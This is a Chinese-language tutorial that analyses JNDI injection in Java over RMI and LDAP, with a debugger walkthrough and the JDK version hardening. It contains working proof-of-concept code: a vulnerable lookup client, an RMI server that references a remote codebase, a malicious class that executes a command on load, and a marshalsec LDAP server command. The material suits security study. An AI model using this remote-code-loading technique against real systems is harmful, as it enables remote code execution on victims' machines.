JNDI注入原理分析(RMI、JNDI)
簡介:
- RMI (JAVA遠程方法調用)
- LDAP (輕量級目錄訪問協議)
- CORBA (公共對象請求代理體系結構)
- DNS (域名服務)
JDNI注入原理:
- JDK 5U45、6U45、7u21、8u121 開始 java.rmi.server.useCodebaseOnly 默認配置為true
- JDK 6u132、7u122、8u113 開始 com.sun.jndi.rmi.object.trustURLCodebase 默認值為false,即不允許RMI遠程地址加載objectfactory類
- JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默認為false

JNDI-RMI示例:
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class Client { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1098/aaa"; //rmi //String uri = "ldap://127.0.0.1:1389/aaa"; //ldap Context ctx = new InitialContext(); ctx.lookup(uri);// } }
Server.java
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.Naming; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Server { public static void main(String[] args) throws Exception { String className = "Calc"; //類名 String url = "http://127.0.0.1:8000/";//遠程類地址 Registry registry = LocateRegistry.createRegistry(1098);//rmi監聽端口 Reference reference = new Reference(className, className, url);//按照lookup需要一個Reference類 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.rebind("aaa", referenceWrapper);//綁定一個stub System.out.println("rmi://127.0.0.1/hacked is working..."); } }
Calc.java(惡意類)
import java.lang.Runtime; import java.lang.Process; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Calc implements ObjectFactory { { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { e.printStackTrace(); } } public Calc() throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); return null; } }
DEBUG分析:
在lookup處打下斷點,進行跟進分析:
跟進后做了一些的判斷,有個decodeObject()傳入的參數是我們控制的參數
判斷是否是Reference,下面這個getb
這里來到處理的核心代碼:在NamingManager#getObjectInstance中
在NamingManager#getObjectFactoryFromReference中,會去本地找,未找到再去遠程加載:(這里LoadClass就是加載Class,會調用該對象的靜態方法)
靜態方法調用的計算器:
然后我們看到clas.newInstance方法(該方法作用示例化一個對象,並且加載該類的public無參構造方法),代碼塊和無參構造方法Calc彈出:
調用遠程惡意加載類的getObjectInstance:
JNDI-LDAP:
原理:
演示:
服務端:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#Calc
受害端:
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class Client { public static void main(String[] args) throws NamingException { String uri = "ldap://127.0.0.1:1389/Calc"; Context ctx = new InitialContext(); ctx.lookup(uri); } }
惡意類:和上面的是一樣的Calc.java
最后還是4個計算器被彈出
總結:
1.代碼塊,靜態方法、構造方法、getObjectInstance(),都會被執行。
2.jndi攻擊聽起來抽象,就這理解為可以遠程加載我們的惡意類;加載順序是先判斷是否有本地存在調用的類,不存在就去遠程訪問。
3.編譯惡意類時不要有包名,否則報錯。
4.javac版本和受害機器版本最好是相同Java版本,反正現在都用工具自動生成這個問題不大。()
- class.forname 、loadclass會觸發類的靜態方法
- class.newInstance 會觸發遠程類的代碼塊和無參構造方法
- 最后factory調用了getObjectInstance()方法(factory就是我們的可控類)
參考鏈接:
https://www.cnblogs.com/yyhuni/p/15083613.html
http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/